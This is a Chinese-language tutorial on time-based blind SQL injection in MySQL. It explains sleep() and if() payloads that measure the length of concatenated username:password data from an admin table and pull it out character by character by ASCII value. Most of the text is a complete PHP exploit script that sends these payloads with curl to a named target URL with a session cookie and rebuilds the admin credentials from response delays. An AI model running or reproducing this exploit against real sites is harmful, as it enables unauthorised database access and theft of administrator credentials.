1、 简介

 

延时注入也是盲注入的一种，是利用sql语句达到延时的目的，在mysql中用的sleep()函数，

select sleep(3) 数据库延时3秒 返回信息。利用这个函数加上if函数进行判断，就可以达到延时注入，注入得出数据。

构造注入延时的语句，当开始到结束的时候肯定是五秒或者大于五秒

 

2、 延时注入语句

 

php学习

<?php
$time1 = time();
sleep(10);
$time2 = time();
print $time2-$time1;
?>

 

 

mysql的延时语句

 

select if('root'='root',sleep(3),0)

数据的长度

select if(LENGTH((select GROUP_CONCAT(username,0x3a,password)from admin))=38,sleep(5),0)

 

每一个字符的ascii码

select if(ascii(substring((select GROUP_CONCAT(username,0x3a,password)from admin),1,1))=105,sleep(5),0)

延时注入的原理是什么？ 就是利用mysql里面的sleep() 延时 就跟根据数据库的延时 判断网页的页面返回的时间。 假如条件判断正确 那么就会延时五秒，

 

3、编写exp

 

<?php
//参数1：访问的URL，参数2：post数据(不填则为GET)，参数3：提交的$cookies,参数4：是否返回$cookies
function curl_request($url,$post='',$cookie='', $returnCookie=0){
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)');
        curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($curl, CURLOPT_AUTOREFERER, 1);
        curl_setopt($curl, CURLOPT_REFERER, "http://XXX");
        if($post) {
                curl_setopt($curl, CURLOPT_POST, 1);
                curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($post));
        }
        if($cookie) {
                curl_setopt($curl, CURLOPT_COOKIE, $cookie);
        }
        curl_setopt($curl, CURLOPT_HEADER, $returnCookie);
        curl_setopt($curl, CURLOPT_TIMEOUT, 10);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        $data = curl_exec($curl);
        if (curl_errno($curl)) {
                return curl_error($curl);
        }
        curl_close($curl);
        if($returnCookie){
                list($header, $body) = explode("\r\n\r\n", $data, 2);
                preg_match_all("/Set\-Cookie:([^;]*);/", $header, $matches);
                $info['cookie']  = substr($matches[1][0], 1);
                $info['content'] = $body;
                return $info;
        }else{
                return $data;
        }
}
//得到数据的长度
function getstrlen($url,$cookie){
        $data_len ='';
        $i = 1;
        while(true){
                $s = "%20and%20if(LENGTH((select%20GROUP_CONCAT(username,0x3a,password)from%20admin))={$i},sleep(5),0)";
                $start_time=time();
                $urlexp = $url.$s;
                $html = exploit($urlexp,$cookie);
                if ((time()-$start_time)>=5){
                        $data_len=$i;
                        break;
                }
        $i++;
        }
        return $data_len;
}
 
 
 
 
function exploit($url,$cookie){
                $html = curl_request($url,'',$cookie);
                return $html;
}
//38

function  get_data($url,$cookie,$datalen){
                $admin_pass = '';
                for($i=1;$i<=$datalen;$i++){
                        for($j=1;$j<=125;$j++){
                                $s = "%20and%20if(ascii(substring((select%20GROUP_CONCAT(username,0x3a,password)from%20admin),{$i},1))={$j},sleep(5),0)";
                                $start_time=time();
                                $html = exploit($url.$s,$cookie);
                                if((time()-$start_time)>=5){
                                        $c = chr($j);
                                        $admin_pass.=$c;
                                        echo $admin_pass."\r\n";
                                        break;
               
                                }
                        }
               
               
               
                }
               
                return $admin_pass;
}

$cookie = 'PHPSESSID=lkmi6apekkpfvemo5mnmf7opk7';
$url = 'http://www.moontester.com/article.php?id=1';
//用来做比较用的
//$tmp_html = exploit($url,$cookie);

$datalen = getstrlen($url,$cookie);

if ($datalen){
        echo "[+]".$datalen."[+]\r\n";
        echo get_data($url,$cookie,$datalen);
        
}else{
        echo "data null";
}

填写登录的cookie 和注入的url 就会执行getstrlen函数就会用时间差得出长度为38 再把38传入到get_data函数里 用ascii进行每一个字符的ascii码的判断 再把判断好的ascii转为字符 累加起来 就会得出最后的结果

运行结果